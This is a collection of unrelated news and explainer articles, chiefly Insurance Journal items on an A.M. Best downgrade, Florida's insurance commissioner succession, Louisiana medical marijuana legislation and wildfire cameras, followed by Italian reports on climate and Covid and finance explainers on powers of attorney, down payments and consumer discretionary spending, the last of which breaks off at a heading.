Best said the downgrade stems from the continued unfavorable results in the companys domestic non-standard auto book of business, which has resulted in lower overall risk-adjusted capitalization and significant adverse reserve development.

The deterioration of results began in 2014, and further worsened in 2015. Large pre-tax operating losses have led to a material decline in risk-adjusted capitalization.

In response, management has terminated several managing general agents to rapidly reduce premium levels in 2015. However, inadequate pricing, poor claims handling and inadequate reserving have resulted in worse than projected financials.

The continuation of the negative outlook reflects A.M. Bests opinion that adverse operating results will continue and may further deteriorate risk-adjusted capitalization.

Prior to the National Unitys entrance into the domestic non-standard auto book of business, the company accomplished profitable results through a niche product of cross border business.

That product continues to produce favorable results, although it is overshadowed by losses in the domestic non-standard auto business. The decline in policyholders surplus has increased underwriting leverage ratios to distressed levels.

Source: A.M. Best

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Topics Auto AM Best
A day after falling one vote short, backers of a proposal to expand Louisianas medical marijuana law to cover more diseases found success in the state Senate.

Senators voted 21-16 for the proposal from Sen. Fred Mills, R-Parks on April 20. It needed 20 votes to pass.

Louisiana hasnt yet started its medical marijuana program, which will eventually get medical-grade pot  in a consumable form that cant be smoked  to people suffering from cancer, glaucoma and a severe form of cerebral palsy.

Mills wants to add seizure disorders, HIV, epilepsy, severe muscle spasms, muscular dystrophy, multiple sclerosis and other diseases to the list.

Its for people with severe, severe disorders. This is not something youre just going to prescribe haphazardly, Mills said.

Supporters talked of parents struggling to find medications to treat childrens seizure disorders and of others struggling through painful diseases.

Sen. Sharon Hewitt, R-Slidell, said a year ago she would never have imagined she would urge support of medical marijuana  but she said shes received 84 emails from people in her district describing how this could help their children with severe medical problems.

These parents, all they want is an opportunity to be able to help their children. This is life-changing for them, Hewitt said.

Opponents described Senate Bill 271 as a gateway to illegal drug use and, eventually, legalized recreational marijuana.

Every state they have done this in, teenage drug use has gone up, said Sen. Danny Martiny, R-Kenner. Its an illegal drug according to the federal law.

The debate now shifts to the House. It faces an uncertain future there, facing opposition from local sheriffs and district attorneys.

Louisiana likely remains years away from getting medical marijuana into peoples hands. A state-sanctioned grower hasnt yet been selected.

Under existing law, the state will have one medical marijuana grower and 10 licensed distributors. LSU and Southern University get first right of refusal to grow the medicinal plant. University leaders say theyre still determining whether theyll participate. If both schools decline, a public bidding process is opened.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Louisiana Cannabis Politics
The Florida Cabinet will interview two new candidates for the soon-to-be-open Florida insurance commissioner post at its April 26 meeting, in addition to the two candidates interviewed last month.

In the meantime, current Florida Insurance Commissioner Kevin McCarty notified the Cabinet April 20 that he will delay his departure from the Florida Office of Insurance Regulation (OIR) until 45 days after a replacement has been selected.

Jeffrey Bragg and Bill Hager  who were interviewed at the Cabinets previous meeting in March  were asked to return to be re-interviewed at the next Cabinet meeting. Belinda Miller, current chief of staff for the Florida Office of Insurance Regulation (OIR), and Raymond Blacklidge, EVP of American Traditions Insurance Co. and Modern USA Insurance Co., will be also be interviewed at Tuesdays meeting.

McCarty announced back in January that he would resign effective May 2. The Cabinet, which consists of Gov. Rick Scott, Chief Financial Officer Jeff Atwater, Attorney General Pam Bondi and Agriculture Commissioner Adam Putnam, then opened up an online application with the plan to appoint a successor at its March 29 meeting. The goal, they said at the time, was to have someone chosen before McCarty left office and in time for the start of hurricane season.

However, after interviewing Bragg, the former head of the Terrorism Risk Insurance Program, and Florida State Rep. Hager on March 29, Scott shot down Atwaters nomination of Hager for the position. The Cabinet needs to reach a unanimous decision on the choice with Atwater and Scotts votes carrying the most weight.

The Cabinet members instead decided to reopen the application process to allow for more candidates to apply and more time for the Cabinet members to make a decision. The application deadline was extended until April 15. Sixteen additional candidates applied during that time, bringing the total number of applicants to 71.

Gov. Rick Scotts aide Kristin Olson said April 20 he would like to interview Bragg again on April 26 and have him considered by the other Cabinet members, and that he had no other names to submit to be interviewed. The Orlando Sentinel quoted Scotts spokeswoman as saying Gov. Scott continues to believe that Jeffrey Bragg is the best candidate for the position and looks forward to further discussion on this by the Florida Cabinet.

CFO Atwater held interviews with five additional candidates this week and announced April 21 he would like the Cabinet to interview Miller and Blacklidge, in addition to re-interviewing Hager.

McCarty told Insurance Journal the best choice for his successor is someone who will consider the many different backgrounds and experiences of those he or she will work with and serve. They also dont necessarily have to be someone with experience in the Florida insurance market.

I dont think anyone should be discounted, either in the state or outside of state. I think whats important is to have somebody who can strike the balance between protecting consumer issues, and understand[ing] the importance of a robust and competitive market, McCarty said. Every decision you make can affect millions of people directly or indirectly.

McCarty said in his April 20 letter that he was amending the effective day of his resignation to 45 days after his successor is appointed, which could be at the April 26 Cabinet meeting or at a later date.

I take this action to honor my commitment to facilitate a smooth transition as the 2016 hurricane season approaches, McCarty wrote. I remain committed to continuity of leadership for the benefit of the Office of Insurance Regulation and the people of Florida whom I serve.

Related:

Topics Florida Legislation
The West Virginia Supreme Court has reversed a previous ruling it made that dismissed a lawsuit alleging age discrimination.

The Charleston Gazette-Mail reports that the court on April 14 reversed its decision to uphold a judges ruling which dismissed 65-year-old Martha Knotts lawsuit against her former employer.

Knotts had petitioned for a rehearing, arguing that the judge didnt consider the U.S. Supreme Courts ruling in OConnor v. Consolidated Coin Caterers Corp. In that case, the court found that a determination about whether a replacement is substantially younger than a plaintiff is a more reliable indicator of age discrimination.

The state Supreme Courts decision also overrules a 2010 case that stated that a person over 40 couldnt allege age discrimination if the person who replaces him or her is also over 40.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Virginia
Serving in a highly-scrutinized government position like insurance commissioner for any state, let alone one facing such serious catastrophe risks as Florida, certainly has its challenges. Outgoing Florida Insurance Commissioner Kevin McCarty says during his nearly 13-year tenure hes tried to look at each opportunity, even the difficult ones, as a teaching moment.

There are things that I would do differently today than I did yesterday, McCarty said.

On April 20, McCarty notified Florida Cabinet Members Gov. Rick Scott, Chief Financial Officer Jeff Atwater, Attorney General Pam Bondi, and Agriculture Commissioner Adam Putnam that he would extend his resignation date until 45 days after his successor is appointed.

In a letter to the Cabinet, McCarty said he was taking the action to honor my commitment to facilitate a smooth transition as the 2016 hurricane season approaches. I remain committed to continuity of leadership for the benefit of the Office of Insurance Regulation and the people of Florida whom I serve.

McCarty said he will miss the service aspect when he leaves OIR.

Its been a wonderful journey for me, the last 12 and a half years. I found it to be a very rewarding time in my tenure here, not only as insurance commissioner, but in the previous years in the former department of insurance, he said.

In an interview with Insurance Journal in his final days as Florida Insurance Commissioner, McCarty talked about what lessons he has learned through the years and how the Florida Office of Insurance Regulation has worked during his time there to better the states insurance market.

On What Hes Most Proud Of

McCarty said Florida has excelled in the last decade in joining the international arena, now having a major influence in the development of capital, development of new companies, enterprising ways of bringing capital to Florida and innovations in surplus notes.

Innovations in how we provide a private and public partnership have provided a fertile ground for development of capital. I think Floridas one of the first states to provide reduction in collateral, to provide a greater incentive for reinsurers to come to Florida, McCarty said.

The depopulation of Citizens Property Insurance Corp. is another accomplishment that McCarty said he takes partial credit for, along with Gov. Rick Scott, who he said was masterful at bringing investors confidence into Florida and the Florida legislature, which made the necessary changes to attract capital, and Citizens itself.

I think working in concert together, we have been able to successfully move Citizens downIf there were a 1in100-year event today, there would be no assessment. Just a few years ago that would have been a $12 billion assessment, so its been a persistent issue, McCarty said. Its taken five or six years to get through it, but its been something weve been very successful at, and I think the state should be very proud of that.

On What Hed Do Differently Now

Through the years, McCarty said he has become better able to recognize what is needed for a business to succeed, and learned to adjust his thought process when making determinations of issuing licenses.

McCarty said he has learned that just because someone puts up $15 or $20 million of their own money and is confident in their business plan doesnt mean they can successfully run an insurance company.

Sometimes its necessary to second-guess the judgment of business people.

In hindsight I think I should have been more probative, if you will, of these business plansjust because you put your money upyou still might not know what the heck youre doing, he said. Im much more cautious, and Im much more probative of business plans. Ive seen hundreds, maybe thousands of business plans in my tenure. I think that its because of my experience in watching companies and how they succeed, and how some do not succeed, that we are actually in a pretty good position [now] to secondguess companies as they put forth their business plan.

McCarty said now he and his staff are able to identify when a business plan is challenged and offer suggestions on the ways it can be improved.

I think were much more cautious today in terms of licensing, and less deference to someone because they are willing to put money up, McCarty said.

On Whats Next

McCarty announced in January he would leave OIR in May to pursue other opportunities. When asked why now was the time to go, McCarty said there are particular opportunities at this time that he thinks would be a good fit with his skills and abilities.

McCarty wouldnt say what his next job would be, but rumors that he would pursue the National Association of Insurance Commissioners (NAIC) CEO position started swirling shortly after his resignation announcement. A report from Florida Politics via SNL Financial quoted unidentified sources saying McCarty was vying for the position. His office would not confirm or deny the report.

For the time being, McCarty said, Im going to take a little time to give some thought to my future, and when I have a firmer determination, Ill be happy to share that with you.

In the meantime, McCarty said he has confidence in the future for the Florida market.

I feel really comfortable that Im leaving at a time when there is a great deal of stability in the financial strength across most sectors of the market. I look forward to transitioning my successor through this period, and then moving on to new challenges, he said.

Part 1 of Insurance Journals outgoing interview with McCarty

To hear the interview in its entirety, click on the podcasts below:

Topics Florida
A growing network of cameras trained on the mountains around Lake Tahoe is changing the way crews fight Western wildfires by allowing early detection that triggers quicker, cheaper, more tactical suppression than traditional war-like operations, experts said this week.

The high-definition cameras can be operated remotely to pan, tilt and zoom in the search for the first wisps of smoke in remote areas, said Graham Kent, director of the Nevada Seismological Laboratory.

Equipped with real-time and time-lapse imagery, the cameras piggyback on an existing network that detects earthquakes, Kent told the annual meeting of the Seismological Society of America in Reno.

Last summer, a half-dozen of the hazard cameras at Tahoe were credited with the discovery of six fires and provided early intelligence on more than 25, Kent said.

The old style of firefighting is like storming the beach at Normandy, but if you can get on a fire early, with special tools, then it becomes more like a special forces situation, Kent said. Firefighting is going to become much more tactical.

He said hes currently working with firefighters in Idaho and Montana to develop similar networks.

Frank Vernon, a research geophysicist at the Scripps Institution of Oceanography at the University of California, San Diego, began developing the virtual fire lookout towers in 2002 when he and others built a large-scale, wireless network in Southern California.

It now includes more than 64 fixed mountaintop cameras in 16 remote locations across San Diego, Riverside and Imperial counties.

Working with partners to provide this technology to the community is vitally important as extreme drought conditions, warmer weather and more frequent Santa Ana wind events have all contributed to increased wildfire activity and longer fire seasons each year in Southern California, Vernon said.

The multi-hazard function of the cameras is especially valuable to communities such as Lake Tahoe and Reno that border wildlands,

The big three for us are floods, fires and earthquakes, said Kyle West, safety and training manager in Reno. The city is located in Washoe County, where officials recently updated their hazard mitigation plan.

Kent said officials hope to have more than 20 of the cameras up and operating by the end of this year.

The notion of fire cameras has been out there for 20 years. But they were mostly closed circuit, analogue systems with poor resolution, Kent said.

The video feeds are available to state, local and federal firefighters and can be viewed by the public on the AlertTahoe Web site.

University of Nevada, Reno scientists are working on technology to use machine vision _ to teach computers to spot the fires without humans, Kent said.

Were sort of crowd-sourcing lookout towers, he said. Anybody in this room, if they are feeling anxious or just have a premonition, they can go onto AlertTahoe, right click on the camera pane and see the time lapse. We could have hundreds of people searching for fires at any one time  people who are just basically concerned.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics California Catastrophe Natural Disasters Wildfire
A federal jury in Phoenix, Ariz. on Friday awarded $17 million in damages to the family of a retired civilian employee of the U.S. Navy who died from the fatal asbestos disease mesothelioma after working for years in the Norfolk Naval Shipyard in Virginia.

Trial testimony showed that George Coulbourn worked as a shipyard machinist from 1959 to 1966, during which time he primarily repaired and maintained equipment on naval ships. Those duties included the regular removal of asbestos-containing gaskets and packing from valves manufactured by the defendants and their predecessors.

Coulbourn died in 2012 at age 73, less than a year after being diagnosed with mesothelioma, a terminal cancer found in the lining of the lungs that is linked to asbestos exposure. He and his wife retired to Lake Havasu City following Coulbourns nearly 37-year career as a civilian employee of the U.S. Navy.

Jurors returned their verdict following a three-week trial and four hours of deliberations. They assessed $9 million in compensatory damages with 20 percent responsibility for Coulbourns injuries and death against Connecticut-based industrial product manufacturer Crane Co. and 5 percent against Cincinnati-based valve manufacturer William Powell Co. Jurors determined that other companies and the U.S. Navy were liable for the remaining 75 percent of exposure.

The verdict also included $5 million in punitive damages against Crane Co. and $3 million against William Powell Co.

The case is Sandra Brown Coulbourn, surviving wife and on behalf of decedents surviving statutory beneficiaries, George Coulbourn, Jr., Scott Alan Coulbourn and Shannon Coulbourn Moses v. Crane Co., et al.

Related:

Topics USA Arizona
Lemergenza surriscaldamento globale non si arresta. Lo rivela la Nasa (Ente Nazionale per le attivita Spaziali e Aeronautiche) lagenzia governativa civile responsabile del programma spaziale degli Stati Uniti dAmerica e della ricerca aerospaziale.

Secondo lEnte statunitense, infatti, nel 2016 la temperatura globale si e attestata a 1,1 gradi centigradi in piu rispetto al XIX secolo, vale a dire rispetto ai livelli preindustriali (il periodo iniziato a partire dal Settecento in Gran Bretagna e diffusosi nell800 in buona parte del mondo). Nel 2015, evidenzia la Nasa, era gia stata raggiunta la soglia di 1 grado.

Un colpo pesante per la comunita internazionale che, alla conferenza Onu di Parigi sul clima svoltasi nel dicembre 2015, si era impegnata a mantenere laumento del termometro al di sotto dei 2 gradi centigradi, e possibilmente entro un grado e mezzo, entro la fine del secolo. Ma, a inizio secolo, siamo gia a oltre un grado.

Le brutte notizie non finiscono qui. Se dal globale passiamo al locale, di questo passo lItalia risentira (entro il 2100) di un aumento di temperatura ben al di sopra dei due gradi preventivati.

Lo rivela il Wwf (World Wide Fund for Nature), lorganizzazione internazionale non governativa di protezione ambientale piu nota al mondo. Secondo lOng, i cambiamenti climatici in Italia saranno a dir poco preoccupanti. Le migliori e piu avanzate elaborazioni dellautorevole Centro Euromediteraneo per i Cambiamenti Climatici (Cmcc), indicano  nello scenario ritenuto piu probabile  un incremento della temperatura media in Italia pari a circa 3 gradi per la fine del secolo per lintero territorio nazionale.

Se si considera lultimo trentennio del XXI secolo (2071-2100)  scrive in un comunicato la ong ambientalista  laumento di temperatura giunge anche a circa 4 gradi nel nord-ovest della penisola italiana nel periodo estivo. Nello scenario peggiore, inoltre, laumento della temperatura media in Italia sara invece di circa 6 gradi entro la fine del secolo. Lurgenza dellazione anche nel nostro Paese e ormai e un obbligo civile e morale, conclude il World Wide Fund for Nature.

Emergenza caldo evidenziata anche dalla Coldiretti (Confederazione Nazionale Coltivatori Diretti), la maggiore associazione di rappresentanza e assistenza dellagricoltura italiana. Il 2016  evidenzia la confederazione sorta nel 44  si e classificato al quarto posto tra gli anni piu caldi di sempre, con una temperatura di 1,24 gradi superiore alla media del periodo. Per il calcolo, la Coldiretti si e basata sui dati del Consiglio Nazionale delle Ricerche (Cnr) che rilevano le temperature dal 1800. Nella classifica degli anni piu caldi dallinizio dellindustrializzazione  e percio dellinquinamento atmosferico su larga scala  ci sono, nellordine, 2015, 2014, 2003 e 2016. Seguono il triste elenco: il 2007, 2012, 2001, 1994, 2009, 2011 e, infine, il 2000.

Siamo di fronte agli effetti dei cambiamenti climatici  scrive Coldiretti  che si stanno manifestano con un pesante impatto sullagricoltura italiana, che negli ultimi dieci anni ha subito danni per 14 miliardi di euro. Si moltiplicano gli eventi estremi, sfasamenti stagionali e precipitazioni brevi, ma intense, e il repentino passaggio dal sereno al maltempo. Siccita e bombe dacqua con forti piogge a carattere alluvionale, ma anche gelate estreme e picchi di calore anomali si alternano lungo lanno e lungo tutta la Penisola. Anomalie che si evidenziano anche in questi giorni  conclude Coldiretti  con lItalia divisa in due, tra un nord dove e allarme incendi e siccita ed il centro sud che e seppellito dalla neve.
Frena la discesa dei nuovi casi settimanali di Covid in Italia, -7,8% rispetto alla settimana precedente. E quanto emerge dal monitoraggio della Fondazione Gimbe, relativo alla settimana tra l1 e il 7 giugno.

I nuovi contagi si attestano intorno a quota 122mila, con una media a 7 giorni di poco superiore ai 17mila casi giornalieri e una curva in fase di plateau e condizionata dal netto calo dellattivita di testing nel lungo ponte del weekend scorso (-17,7% tamponi totali).

Gimbe: Casi salgono in 22 province

Sono 22 le Province italiane in cui i dati del contagio sono in risalita. In particolare, rileva il presidente della Fondazione Gimbe, Nino Cartabellotta, frena la discesa dei nuovi casi settimanali (-7,8% rispetto alla settimana precedente) che si attestano intorno a quota 122mila con una media giornaliera settimanale di poco superiore ai 17mila casi giornalieri con una curva in fase di plateau e condizionata dal netto calo dellattivita di testing nel lungo ponte del weekend scorso (-17,7% tamponi totali) .

Il monitoraggio evidenzia un lieve incremento percentuale dei nuovi contagi in Veneto (+1%) e Friuli-Venezia Giulia (+1,6%) e una riduzione in tutte le altre Regioni: dal -3% della Sicilia al -32,8% della Valle DAosta. Rispetto alla settimana precedente, in 85 Province si registra una riduzione percentuale dei nuovi casi (dal -0,3% di Parma al -35,2% di Aosta); salgono da 2 a 22 le Province in cui si rileva un aumento (dal +0,4% di Messina, Padova e Roma al +20,2% di Enna), in 7 casi superiore al 10%. In nessuna Provincia lincidenza supera i 500 casi per 100.000 abitanti, attestandosi tra gli 86 casi per 100.000 abitanti di Bergamo e i 374 di Cagliari.

Sul fronte degli ospedali  afferma Marco Mosti, Direttore Operativo della Fondazione Gimbe  prosegue il calo del numero dei posti letto occupati da pazienti Covid sia in terapia intensiva (-11,7%) che in area medica (-15,2%). In dettaglio, i posti letto occupati al 7 giugno sono 219 in area critica e 4.342 in area medica. Al 7 giugno il tasso nazionale di occupazione e del 6,7% in area medica (dal 3,5% del Veneto al 16% della Calabria) e del 2,4% in area critica (dallo 0% di Basilicata e Valle DAosta al 5,1% del Molise). Continuano a diminuire gli ingressi giornalieri in terapia intensiva  puntualizza Mosti  con una media giornaliera settimanale di 15 ingressi al giorno rispetto ai 20 della settimana precedente.
A power of attorney (POA) is a legal document in which the principal (you) designates another person (called the agent or attorney-in-fact) to act on your behalf. The document authorizes the agent to make either a limited or broader set of decisions. The term "power of attorney" can also refer to the individual designated to act in this way.

Key Takeaways A power of attorney (POA) is a legal document that gives an individual, called the agent or attorney-in-fact, the authority to take action on behalf of someone else, called the principal.

The agent can have either extensive or limited authority to make legal decisions about the principal's property, finances, or healthcare, depending on the terms of the POA.

Types of POA include conventional, also known as a limited power of attorney, durable, which lasts for a lifetime unless you cancel it, springing, which only comes into play for specific events, and medical, also known as a durable power of attorney for healthcare.

How a Power of Attorney (POA) Works

Certain circumstances may trigger the desire for a power of attorney (POA) for someone over the age of 18. For example, someone in the military might create a POA before deploying overseas so that another person can act on their behalf should they become incapacitated.

Incapacity isn't the only reason someone might need a POA, though. Expatriates workers and families need to set a POA for their affairs in America while doing their work overseas. Younger people who travel a great deal might set up a POA so that someone can handle their affairs in their absence, especially if they have no spouse to do so. However, POAs are most commonly established when someone is elderly or if they face a serious, more long-term health crisis.

If you have a POA and become unable to act on your own behalf due to mental or physical incapacity, your agent or attorney-in-fact may be called upon to make financial decisions to ensure your well-being and care. For example, they may need to pay bills, sell assets to pay for medical expenses, and take steps for Medicaid planning for you.

Other important tasks a POA can authorize someone to carry out are banking transactions, real estate decisions, dealing with government or retirement benefits, and healthcare billing.

How to Get a Power of Attorney (POA)

The first thing to do if you want a power of attorney is to select someone you trust to handle your affairs if and when you cannot. Then you must decide what the agent can do on your behalf, and in what circumstances. For example, you could establish a POA that only happens when you are no longer capable of handling your affairs yourselfor one that goes into effect immediately so your agent can act for you in your absence.

Some powers of attorney are limited. For instance, the POA could merely empower someone to represent you at a real estate closing in another city. Also, note that even when a general POA contains no such limiting language, it usually only operates while the person conveying the power, called the principal, has full capacity.

If you have property that is only in your name, your spouse would need a power of attorney to take legal or financial actions related to that property (like selling it).

Anyone can set up a POA. One way is to find a template online that satisfies the requirements of the state in which you live, and execute it according to your state's guidelines (it may need to be notarized and require witnesses).

POAs differ depending on when you want the authority to start and end, how much responsibility you want to give your agent, and the laws in the state where you live. There is no uniform POA common to every state. States have different requirements for establishing a power of attorneyPennsylvanias statute, for instance, makes the legal assumption that a power of attorney is durable.

Using an attorney to draw up the POA will help ensure that it conforms with state requirements. Since a POA may be questioned if an agent needs to invoke it with a bank or financial services company, you should ask an attorney about prior experience in drafting such powers. You want to select someone not only familiar with state requirements, but also with the issues that can arise when a power is invoked. This way, the attorney can use language that will make clear the full extent of the responsibilities that you wish to convey.

To set up a legally binding POA, the principal must have sufficient mental capacity when the document is drawn up. This means that they must fully understand the nature and effect of the document. It also means that if you have an ill parent who is already incapacitated, you won't be able to get a power of attorney to act on their behalf.

The POA can be canceled or revoked at any time simply by destroying the original document and preparing a new one, or by preparing a formal revocation document informing all concerned that the POA is no longer a valid instrument.

What Happens If You Lack a Power of Attorney (POA)

POAs are not just reassuring; they may become the instruments that protect your financial and real estate interests, your health, and even your manner of dying. If you are incapacitated and have no POA designated to take the wheel, your family will likely be forced into costly and time-consuming delays.

Principals have to set up POAs for themselves. A family can't "get" a POA when they suddenly realize that an elderly relative is no longer able to manage their affairs. In this situation, a court would have to appoint a guardian or conservator, and neither the individual nor their family would have any control over the appointee. In some states, the guardian is required to post a bond and file a detailed inventory and accounting of the person's relevant assets. The entire affair is more complicated, more costlyand more public when a POA is not already in place.

Four Types of POAs

There are several types of POAs, as well as various degrees of responsibility that you can delegate.

General POA

This starts when it is signed and continues in force until you become mentally unable to make coherent decisions. It is important to state exactly what authority you are giving your agent. It could be something very specific, like giving your attorney the power to sign a deed of sale for your house while you're on a trip around the world.

This is called a "limited power of attorney" and it can be quite common in everyday life. One common use of it is what is called discretionary money management, or what gives money managers the authority to buy and sell investments on their client's behalf based on their own decisions not their client's. Or you could specify a much broader range of powers, such as access to your bank accounts (what's known as a "general power of attorney").

Durable POA

A durable POA begins when it is signed but stays in effect for a lifetime unless you initiate the cancellation. Words in the document should specify that your agent's power should stay in effect even if you become incapacitated. Durable POAs are popular because the agent can manage affairs easily and inexpensively.

Springing POA

This POA comes into play only when a specific event occursyour incapacitation, for instance. A springing power of attorney must be very carefully crafted to avoid any problems in identifying precisely when the triggering event has happened.

Medical POA

A medical POA, or durable power of attorney for healthcare decisions, or health care proxy, is both a durable and a springing POA. The springing aspect means that the POA takes effect only if specific conditions take place. As long as the principal is conscious, and of sound mind and body, the medical POA will not be triggered. Some medical POAs are written to end when the principal recovers from the incapacitating condition. You can have different POAs for different situations and appoint different agents to hold them as well.

A Will Is Not a POA

Do not expect your will to serve as a substitute for a power of attorney. A will designates the distribution of your property after death, while a POA is related to decisions made during your life.

However, you can have a living will in addition to a healthcare POA. A living will usually addresses specific issues and wishes related to medical treatment if you have a terminal condition, or related to dying (such as the extent to which lifesaving measures should be used).

A living will does not always deal with other important medical issues, however, such as whether you would decline dialysis or a blood transfusion. These are the kinds of concerns that can be directly articulated in a durable power of attorney for healthcare decisions.

Who Should Be Your Attorney-in-Fact?

The person you choose as your agent must be someone you trust without hesitation. Depending on how you've worded your POA, the person you select will have access to and be able to make decisions about your health, home, business affairs, personal property, and financial accounts.

It is useful to contact each institution you do business with to be certain that your POA authority will be honored. Some banks and financial institutions have their own forms to complete.

You may name more than one person to act as your agent and ask that they work together. However, bear in mind that they may not always have the same view of what needs to be done. You should also appoint a successor agent, in the event that the agent you originally chose cannot serve in that capacity when the need arises.

Signing a POA does not deprive you of control over your personal affairs. It is a contingency document that becomes a powerful instrument only when it is needed.

The Bottom Line

Choosing someone to hold your power of attorney and specifying that it will operate even if you lose capacity ensures that you have a plan in place for administering your financial and personal affairs if you are ever unable to do so.

This gives you more control over how that process will be handled should the need ever arise. If you move to another state, your power of attorney should remain effective; however, the American Bar Association recommends that you use such a move to update your power of attorney. The power expires upon your death.
Most Americans want to own a home, but the hefty down payment required to purchase a house makes owning property a pipe dream for many.

Banks and other lenders often require a 20% down payment of the purchase price for the home. If you pay anything less, you'll need to buy private mortgage insurance (PMI). PMI is insurance that protects the lender if a borrower defaults, which is when a borrower can't make any more payments. The PMI goes away once the mortgage is under 80% of the purchase price of the home.

For those looking to buy a home, PMI insurance adds to the monthly outlay of cash for payments. On the other hand, unless you have a lot of money saved or wealthy benefactors, coming up with 20% on a $200,000 or $300,000 house, for example, can be quite challenging.

Potential homeowners have plenty of options. In this article, we review some of the most common methods used to come up with the cash needed for a home down payment.

Key Takeaways Most Americans want to own a home, but the required down payment can make owning property a pipe dream.

Potential homeowners can come up with the down payment by getting a part-time job or borrowing from family.

Downsizing to a smaller apartmentsaving rentcan save thousands of dollars per year.

Programs can help, such as the Federal Housing Administration (FHA), which offers mortgage loans through FHA-approved banks.

Look for Down Payment Assistance Programs

Most people who don't have enough for the down payment accept private mortgage insurance as a necessary evil without first checking if they're eligible for assistance. For example, many banks have their own programs to help those looking to buy a home. It pays to check the local banks in your neighborhood.

The Federal Housing Administration (FHA) offers loans for low-to-moderate-income borrowers through FHA-approved banks or lenders. The mortgages are backed by the U.S. government, meaning the lender doesn't have any risk. As a result, borrowers have more favorable treatment with FHA loans versus traditional mortgages. For example, you may only need to come up with a 3.5% downpayment versus the 20% that banks typically like to see.

If your credit history isn't perfect, FHA loans may also help since borrowers with a credit score of above 580 can qualify for the program. A credit score is merely a numerical representation of a person's credit history that includes factors such as late payments and the number of credit accounts.

Veterans and active-duty military can also get help by qualifying for VA loans provided by the U.S. Department of Veterans Affairs. VA loans or mortgages require zero down and typically offer a favorable interest rate. States also give consumers down payment assistance through a variety of programs.

The United States Department of Agriculture Rural Development offers single and multi-family home loans with zero down payments.

There are also programs geared toward encouraging people to purchase homes in a particular neighborhood or region.

Tap Into Benefits for First-Time Buyers

Coming up with a down payment is particularly challenging for people who have never owned a home before, but many incentives exist for first-time buyers. Furthermore, more people qualify for these benefits than you might think. If you haven't owned a home in three years or only owned a house with a spouse, then you can access incentives for new homebuyers. You may also be able to get these benefits if your only home is a manufactured home that is permanently affixed to a permanent foundation.

The Department of Housing and Urban Development (HUD) supports programs for first-time buyers, and some states have first-time homebuyers savings programs. With the accumulated interest, the savings accounts could potentially help some buyers save for the down payment on their homes at a faster rate than they would have been able to without the account.

First-time homebuyers can also take up to $10,000 from a traditional IRA or Roth IRA without the 10% early withdrawal penalty. What is more, there are programs to help Native American first-time homebuyers. Do not assume you cannot afford a down payment just because nobody in your family ever owned a home. Also, be aware that demanding an overly high down payment can be a sneaky way to discriminate against minorities.

Supplement Your Income With a Part-Time Job

Unfortunately, one of the consequences of the 2008 financial crisis and the ensuing Great Recession is that banks no longer offer no-income verification loans, zero document loans, or mortgages for 100% of the home's value.

These days banks and lenders require income verification and a debt-to-income ratio of no more than about 43%. The debt-to-income ratio is a metric that measures how much of your monthly gross income goes to debt payments. For example, if you have $5,000 in gross income and make debt payments totaling $1,500 per month, your DTI is 30% or (($1,500 / $5,000) x 100 to create a percentage). Debt payments can be from a mortgage, student loans, and credit cards.

Some lenders will accept a lower down payment, but borrowers might pay for it in the form of a higher interest rate. Borrowers that put less than 20% down for the mortgage will pay PMI, which can cost nearly $100 per month on top of the mortgage payment.

As a result of the more stringent income requirements, would-be borrowers may need to get a part-time job to supplement their income. The extra money should be placed in a savings vehicle to be used only for the down payment.

Sell Some of Your Belongings

People ready to take the step into homeownership typically have a lot of stuff they've acquired along the way. Those things may seem worthless to the owner, but that old car or piece of furniture might be what someone else is interested in buying. Selling used goods can help supplement your income and raise much-needed cash for the down payment. The Internet makes it easy to sell everything from clothes to electronics. Some of the sites let you do it for free while others take a cut of your profit.

Downsize Your Lifestyle

If you want to free up cash to save for a home, downsizing your lifestyle could go a long way in saving money. For example, you could move into a smaller apartment or studio apartment to save on rent and utilities. If your two-bedroom apartment has a rent of $1,200 per month, switching to a $600-per-month studio will save you over $7,000 annually. If you're a couple with two cars, perhaps selling one of them to cut down on car loans can help cut expenses. Even cutting back on dining out or buying a coffee can add up and steadily increase the amount you save.

Ask for a Gift From Family

Asking family or friends for money may not seem like the ideal option. However, if you have a favorite aunt, grandparent, or cousin that has a lot of cash, it could be a win-win for both of you. If you're gifted some or all of your down payment, it will not only be a good deed, but they can get a tax write-off from it.

The Internal Revenue Service (IRS) allows people to give gifts worth thousands of dollars per year tax-free for the donor and the recipient. The gift tax exemption depends on the amount gifted. According to the IRS website, $15,000 can be gifted each year in 2020 and 2021 without paying taxes on it.

Please check the IRS site for any changes in tax laws before accepting cash gifts. If a gift is out of the question, ask to borrow the money, and come up with a repayment schedule that also includes interest.

The Bottom Line

Homeownership is the dream for many, but the down payment may prevent some from realizing that dream. While coming up with thousands of dollars may seem impossible at first, there are many non-traditional ways to raise cash for your down payment.
What Is Consumer Discretionary?

Consumer discretionary is a term for classifying goods and services that are considered non-essential by consumers, but desirable if their available income is sufficient to purchase them. Examples of consumer discretionary products can include durable goods, high-end apparel, entertainment, leisure activities, and automobiles.

Companies that supply these types of goods and services are usually either called consumer discretionaries or consumer cyclicals.

Key Takeaways Consumer discretionary is a sector classification of non-essential consumer goods and services watched by analysts and investors.

Consumers tend to spend more on consumer discretionary products in economic growth phases, which are usually characterized by higher disposable income.

Consumer discretionary can be contrasted with consumer staples, which is a classification for companies considered to produce daily necessities.

1:19 Consumer Discretionary

Understanding Consumer Discretionary

The purchase of consumer discretionary products is often discussed in comparison with its counterpart: consumer staples. Both product classifications are influenced by cycles of the economy. In general, when the economy is strong, consumers earn more and spend more on consumer discretionary products. On the other hand, when an economy is in contractionary phases, consumers usually earn less and focus their spending more on consumer staples, also referred to as consumer defensive.

Economic cycles have a big influence on earnings power and consumer spending in an economy. There are four stages of an economic cycle, defined as expansion, peak, contraction, and trough. A growing economyexpansion to peakis usually characterized by stronger earnings for businesses and consumers paired with more spending. A contracting economycontraction to troughgenerally has the opposite effect.

When an economy is growing, it is usually expected that its consumers would have more disposable income to spend on discretionary items and less concern over saving for tough times. This leads to a greater demand for consumer discretionary products.

Alternatively, in a poor economy, consumers are more likely to forego the purchases of non-essential consumer discretionary products in favor of adding to their savings. These consumers, however, still need to buy basic household items such as toilet paper, paper towels, food, beverages, and gas, all of which are considered consumer staples.

Consumer Discretionary and Economic Indicators

There are several economic indicators that help economists to determine the state of an economy. These indicators are also important for predicting the potential trends for both the consumer discretionary and consumer staples classifications.

GDP

